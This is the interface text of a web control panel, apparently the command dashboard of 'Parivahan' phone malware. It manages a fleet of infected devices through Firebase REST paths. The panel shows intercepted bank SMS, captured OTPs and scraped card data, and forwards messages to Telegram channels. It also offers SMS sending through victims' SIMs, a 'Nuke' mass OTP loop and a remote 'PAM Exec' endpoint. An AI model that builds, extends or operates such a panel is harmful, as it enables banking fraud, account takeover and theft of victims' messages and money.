P
Parivahan
Fleet Control Panel
idle
Firebase REST
Database URL (no trailing slash). Uses
/clients.json?auth=API_KEY
· API key from Firebase console
API Key (?auth=API_KEY)
remember in localStorage
Save & Connect
Clear
Telegram Auth — Bot OTP
Sign in via Telegram OTP
Keep Firebase
?auth=API_KEY
unchanged — auth only for
/api/pam
& Nuke admin guard. Session
cyberzone_auth
5d.
not signed
Send OTP to Telegram
Bot sends OTP to your Telegram — start bot with
/start
first.
OTP sent to Telegram ID
Verify OTP & Sign in
Back
Refresh
Sign out
Session persists 5d via
localStorage cyberzone_auth
. Refresh keeps you signed in.
Views:
Devices
SMS All
OTPs
Firebases
Users
Telegram
Data/Cards
PAM
Live fleet
•
loading…
Devices
0
online
•
0
offline
•
0 shown
•
0 pinned
⌕
auto
3s
polling
Refresh now
All
Online
Offline
UPI
Bank SMS
All groups
Newest
Oldest
Name
Battery
Export SMS CSV
No devices match.
← Back to fleet
Messages
SMS for this device
0
bank only
Export CSV
IN
incoming ·
OUT
outgoing · bank=amber · otp=purple
Send SMS
Send to this device
SIM1 (0)
SIM2 (1)
Send via device
Delete All SMS
Selected:
none
Ping
Save Notes
Delete Device
Send SMS (writes to Firebase)
Send via device(s)
Writes
clients/{id}/webhookEvent/sendSms {to,message,isSended:true,from}
SIM1 (0)
SIM2 (1)
Send via selected
Bulk online
Selected:
none
·
Nuke — mass random OTP loop
OTP 4
OTP 6
OTP 8
SIM1
SIM2
▶ Start Nuke
■ Stop
Loops
0
· Sent
0
· Failed
0
·
idle
Uses
setInterval
~900ms ±200ms jitter → all
online
devices. Stop is instant.
Messages
SMS per device
0
bank only
IN
incoming ·
OUT
outgoing · bank=amber · otp=purple
Device management
Save label & notes
Delete device
Add dummy device
Ping (checkLiveness)
Add/Edit/Delete via REST:
PUT /clients/{id}.json?auth=API_KEY
·
DELETE /clients/{id}.json?auth=API_KEY
·
PATCH /clients/{id}.json?auth=API_KEY
SMS All (messages.json)
All Messages (across devices)
bank only
Refresh
Export CSV
Fetched via
GET messages.json?auth=API_KEY
— flattened, latest 500
otps/latest
Latest OTPs
Refresh
Clear all (DELETE)
Path
otps/latest.json?auth=API_KEY
· also
otps/{tgId}.json?auth=API_KEY
config/firebases
Firebases (multi-DB)
Add
Refresh
Stored at
config/firebases.json?auth=API_KEY
— visible to all admins
subscriptions
Users / Subscriptions
Add/Update
Refresh
Paths
subscriptions/{id}.json?auth=API_KEY
·
config/admin.json?auth=API_KEY
Telegram — Personal
My Channels & Rules
Load my channels
My SMS Channel (config/userChannels/{id}/sms)
Save
Clear
Finance Alert Channel (config/userChannels/{id}/finance)
Save
Clear
Keyword Rules (config/userChannels/{id}/rules/{keyword})
Add
Telegram — Global (admin)
Global SMS Channel & Forward Defaults
Global SMS Channel (config/smsChannel)
Save
Clear
Forward Defaults (config/forwardDefaults) — auto for NEW devices
Save forwardDefaults
Refresh
PAM / Tool (via /api)
Run via /api/pam/exec
Status
Scraped / Cards
Cards & Scraped Data
Refresh
Filtered via
clients.json?auth=API_KEY
where
cc_* || cards
PAM
PAM Exec
Uses
/api/pam/*
on same origin — will use
cyberzone_auth
Bearer if logged in, else may 401.
Refresh PAM
Pure HTML/CSS/JS · no build · fetch REST + secret · setInterval polling · ponytail: minimal, no deps —
localStorage parivahan_pure_cfg + cache
Devices
SMS
OTPs
Users
TG
More